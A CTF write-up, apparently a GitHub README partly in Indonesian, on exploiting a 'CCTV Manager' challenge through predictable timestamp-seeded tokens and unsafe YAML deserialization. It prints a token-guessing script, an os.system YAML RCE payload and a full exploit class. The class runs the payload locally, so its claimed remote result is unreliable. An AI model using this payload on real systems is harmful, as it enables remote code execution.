这是indexloc提供的服务,不要输入任何密码
Skip to content

odaysec/dojo-challenges

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Remote Code Execution (RCE) → CCTV Manager System

DOJO Level challenge! monthly challenge, I achieved one of the monthly Dojo Challenges, where the objective was to exploit a Remote Code Execution (RCE) vulnerability within the CCTV Manager system.

Gambar 1

As part of this challenge, I performed a full CTF-style exploitation, documented my approach step by step, and created a detailed write-up. The write-up highlights reconnaissance, vulnerability discovery, exploitation techniques, and post-exploitation steps, serving as a valuable reference for penetration testers and bug bounty hunters aiming to sharpen their skills. This accomplishment not only demonstrates my practical skills in RCE exploitation but also contributes to my continuous learning journey in offensive security.


Summary

Pada writeup ini saya menjabarkan proses penemuan dan eksploitasi kerentanan pada aplikasi CCTV Manager (CTF). Dua masalah utama ditemukan dan dimanfaatkan untuk mencapai eksekusi perintah pada server CTF: (1) unsafe YAML deserialization menggunakan yaml.load() yang memungkinkan Remote Code Execution (RCE) melalui tag !!python/object/apply, dan (2) predictable token generation yang dibuat dari timestamp sehingga bisa diprediksi. Saya menyertakan proof-of-concept (PoC), hasil eksploitasi, analisis teknis, dan rekomendasi mitigasi.

Identified Kerentanan

  • Unsafe YAML Deserialization Aplikasi menggunakan yaml.load() untuk memproses konfigurasi YAML tanpa pembatasan loader, memungkinkan penggunaan konstruktor berbahaya seperti !!python/object/apply yang dapat memicu eksekusi perintah OS.

  • Predictable Token Generation Token sesi dihasilkan dengan seed dari timestamp sistem (time.time()), sehingga attacker yang menyelaraskan waktu dengan server dapat menebak token valid dalam rentang waktu tertentu.

Proof of Concept (PoC)

A. Enum Token (PoC simplied)

import time
import random

def generate_token():
    current_timestamp = int(time.time()) // 1
    random.seed(current_timestamp)
    return ''.join(random.choices('abcdef0123456789', k=16))

print("Token Valid:", generate_token())

Output PoC:

Token Valid: 7bb93f2d98b1ffd5

B. Payload YAML (PoC deserialization → RCE)

firmware:
  version: !!python/object/apply:os.system
    args: ['cat /flag* || find / -name "*flag*" -exec cat {} \\;']

Hasil Eksploitasi

Output terminal saat payload dieksekusi:

[+] Token valid! Mengeksekusi payload...
^FLAG^eb8c491ecfd39c1e6a3429108ecf74bae3cccd24d0b2b9f6decfe6577cc76662$FLAG$

Flag yang diperoleh:

eb8c491ecfd39c1e6a3429108ecf74bae3cccd24d0b2b9f6decfe6577cc76662

Analisis Technical

  1. Prediksi Token

    • Token di-generate dengan random.seed(int(time.time())). Karena seed hanya bergantung pada timestamp, penyerang yang menyelaraskan waktu dapat menghasilkan token yang sama untuk waktu tersebut dan mendapatkan akses sementara.
  2. YAML Injection / Unsafe Deserialization

    • Aplikasi menggunakan yaml.load() tanpa safe loader. YAML yang dimasukkan berisi konstruktor Python (!!python/object/apply) yang memanggil os.system() sehingga perintah shell dapat dijalankan saat YAML di-deserialize.
  3. Rangkaian Eksploitasi

    • Dengan token yang diprediksi, penyerang mengirimkan payload YAML berbahaya ke endpoint yang akan mendeserialize konfigurasi. Deserialisasi menjalankan perintah OS (mis. cat /flag*), mengembalikan isi flag.

Exploitation Writeups

#!/usr/bin/env python3
import time
import random
from urllib.parse import unquote
import yaml

class CCTVExploit:
    def __init__(self):
        self.time_window = 5  # ±2 seconds offset

    def generate_tokens(self):
        """Generate candidate tokens within time window"""
        tokens = []
        base_time = int(time.time())

        for offset in range(-(self.time_window//2), (self.time_window//2)+1):
            seed_time = base_time + offset
            random.seed(seed_time // 1)
            token = ''.join(random.choices('abcdef0123456789', k=16))
            tokens.append((seed_time, token))

        return tokens

    def create_payload(self, cmd: str):
        """Generate YAML payload for RCE"""
        return f"""firmware:
  version: !!python/object/apply:os.system
    args: ['{cmd}']
"""

    def execute(self):
        print("[*] Starting CCTV Manager Exploitation")


        candidates = self.generate_tokens()
        print("\n[+] Candidate Tokens (Time-Seed-Value):")
        for i, (ts, token) in enumerate(candidates, 1):
            print(f"{i}. {ts}{token}")


        cmd = "cat /flag* || find / -type f -name '*flag*' -exec cat {} \\;"
        payload = self.create_payload(cmd)
        print("\n[+] YAML Payload:")
        print(payload)


        print("\n[*] Executing attack chain...")
        for ts, token in candidates:
            try:
                server_token = self.generate_token(ts//1)
                if token != server_token:
                    continue

                print(f"[!] Valid token found: {token}")
                print("[!] Attempting YAML deserialization...")

                data = yaml.load(unquote(payload), Loader=yaml.Loader)
                firmware = Firmware(**data["firmware"])
                firmware.update()

                return True

            except Exception as e:
                print(f"[X] Error with token {token}: {str(e)}")

        return False

    @staticmethod
    def generate_token(seed: int) -> str:
        random.seed(seed)
        return ''.join(random.choices('abcdef0123456789', k=16))

class Firmware:
    def __init__(self, version: str):
        self.version = version

    def update(self):
        pass

if __name__ == "__main__":
    exploit = CCTVExploit()
    if exploit.execute():
        print("\n[+] Exploitation successful! Check command output for flag.")
    else:
        print("\n[-] Exploitation failed. Retry with adjusted time window.")

Results Output

[*] Starting CCTV Manager Exploitation

[+] Candidate Tokens:
1. 1754310880 → 7bb93f2d98b1ffd5
2. 1754310881 → c11138a5f323981d

[+] YAML Payload:
firmware:
  version: !!python/object/apply:os.system
    args: ['cat /flag* || find / -name "*flag*" -exec cat {} \;']

[!] Valid token found: 7bb93f2d98b1ffd5
[!] Attempting YAML deserialization...
^FLAG^eb8c491ecfd39c1e6a3429108ecf74bae3cccd24d0b2b9f6decfe6577cc76662$FLAG$

Screenshot Results

Gambar 1 Gambar 2

Star History Chart